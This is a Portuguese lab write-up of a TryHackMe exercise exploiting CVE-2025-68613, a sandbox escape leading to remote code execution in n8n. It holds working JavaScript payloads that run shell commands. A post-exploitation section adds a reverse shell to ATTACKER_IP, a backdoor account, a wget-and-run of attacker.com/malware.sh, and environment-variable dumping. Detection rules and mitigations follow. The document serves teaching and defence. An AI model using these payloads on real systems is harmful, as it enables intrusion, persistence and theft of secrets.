
Walkthrough educacional para explorar CVE-2025-68613, um RCE crítico no n8n de automação de workflows. Abrange injeção de expressão, escape de sandbox, desenvolvimento de payload e estratégias de detecção através de um laboratório TryHackMe.
Este repositório documenta uma exploração prática do CVE-2025-68613 (CVSS 9.9), uma vulnerabilidade crítica de Execução Remota de Código que afeta a plataforma de automação de fluxo de trabalho n8n (versões 0.211.0 a 1.120.3).
Esta exploração foi realizada eticamente em um ambiente controlado de laboratório TryHackMe apenas para fins educacionais.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-68613 |
| Pontuação CVSS | 9.9 (Crítico) |
| Publicado | 19 de dezembro de 2025 |
| Produto Afetado | Plataforma de Automação de Fluxo de Trabalho n8n |
| Tipo de Vulnerabilidade | Injeção de Expressão → Escape de Sandbox → RCE |
| Vetor de Ataque | Usuário Autenticado (Padrão) |
| Versões Corrigidas | 1.120.4, 1.121.1, 1.122.0+ |
| Versões Afetadas | 0.211.0 - 1.120.3 |
n8n é uma plataforma de automação de fluxo de trabalho de código aberto que permite aos usuários conectar visualmente aplicativos e serviços para automatizar tarefas. Ela apresenta:
{{ }} avaliadas como JavaScriptA vulnerabilidade reside no sistema de avaliação de expressões de fluxo de trabalho do n8n. Quando usuários autenticados configuram fluxos de trabalho, suas entradas são processadas como código JavaScript sem sandboxing adequado.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }} são avaliadas como JavaScript bruto sem isolamento de contexto adequadothis permite escapar das restrições pretendidas do sandboxprocess.mainModule.require() fornece acesso ao sistema de módulos do Node.jschild_process para execução de comandos do sistema(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explicação:
this → Objeto global do Node.jsthis.process → Objeto de processo do Node.jsprocess.mainModule → Módulo raiz da aplicação n8n.require('child_process') → Carrega o módulo de execução de comandos do sistema.execSync('COMMAND') → Executa comando shell de forma síncrona.toString() → Converte a saída do Buffer em string legívelAcesse a instância vulnerável do n8n e faça login com credenciais válidas.
Credenciais do Laboratório:
[email protected]Try12345!
Após o login, você é apresentado à interface de criação de fluxo de trabalho. Clique em "Começar do zero" para iniciar um novo fluxo de trabalho.

Clique em "Adicionar primeiro passo" e procure por "Gatilho Manual". Este nó serve como ponto de entrada para a execução do fluxo de trabalho.

Propósito: O nó Gatilho Manual permite a execução manual do fluxo de trabalho através do botão "Executar fluxo de trabalho" na interface, tornando-o ideal para testes.
Adicione um nó "Editar Campos" para realizar o mapeamento de campos. É aqui que a vulnerabilidade é explorada.

Passos de Configuração:
Injete o payload para executar o comando id e recuperar informações do usuário/privilégios.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Resultado:
uid=1000(node) gid=1000(node) groups=1000(node)

Informações Coletadas:
Modifique o payload para executar o comando ls e listar o conteúdo do diretório.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Saída Mostra:
flag.txtLeia o arquivo de flag usando o comando cat para completar a exploração.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag Recuperada:
THM{n8n_exposed_workflow}

Estabeleça acesso interativo ao shell para controle persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Adicione um novo usuário do sistema para acesso persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Busque e execute código remoto:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Verifique privilégios sudo:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Extraia variáveis de ambiente:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
Configure seu proxy para registrar corpos de requisição para análise:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
Detecte tentativas de exploração através de requisições à API de fluxo de trabalho:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
Monitore processos filhos suspeitos gerados pelo n8n:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync ou spawnAtualize o n8n para versões corrigidas:
Restrinja o Acesso à Rede
Autenticação Forte
Monitoramento e Registro
Validação e Sanitização de Entrada
Implementação de Sandbox
Princípio do Menor Privilégio
Revisão de Código e Testes de Segurança
Esta documentação é fornecida apenas para fins educacionais e de teste de segurança autorizado. As técnicas de exploração descritas são destinadas a:
O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização por escrito antes de realizar testes de segurança.
.
├── README.md # Este arquivo
├── exploitation-details.md # Guia técnico aprofundado
├── screenshots/
│ ├── 01-login.png # Tela de login
│ ├── 02-Welcome.png # Tela de boas-vindas
│ ├── 03-Manual_Trigger.png # Configuração do Gatilho Manual
│ ├── 04-Workflow-setup.png # Configuração do fluxo de trabalho
│ ├── 05-rce_id.png # Execução do comando ID
│ ├── 06-Change_id_ls.png # Execução do comando LS
│ └── rce_cat_flag.png # Extração da flag
└── notes/
└── exploitation-details.md
Este relatório documenta a exploração bem-sucedida do CVE-2025-68613 em um ambiente de laboratório TryHackMe. A vulnerabilidade demonstra a importância crítica da avaliação segura de código e os perigos da implementação inadequada de sandbox em plataformas de automação.
Compreender esta vulnerabilidade ajuda tanto as equipes de segurança ofensiva a identificar problemas semelhantes quanto as equipes defensivas a desenvolver estratégias de detecção mais eficazes.
| Passo | Ação | Tempo |
|---|
| 1 | Acessar instância n8n | Segundos |
| 2 | Criar/modificar fluxo de trabalho | < 1 minuto |
| 3 | Adicionar nó de mapeamento de campos | < 1 minuto |
| 4 | Injetar e executar comando id | < 30 segundos |
| 5 | Enumerar sistema de arquivos com ls | < 1 minuto |
| 6 | Extrair dados com cat | < 30 segundos |
| Total | Exploração completa de RCE | < 5 minutos |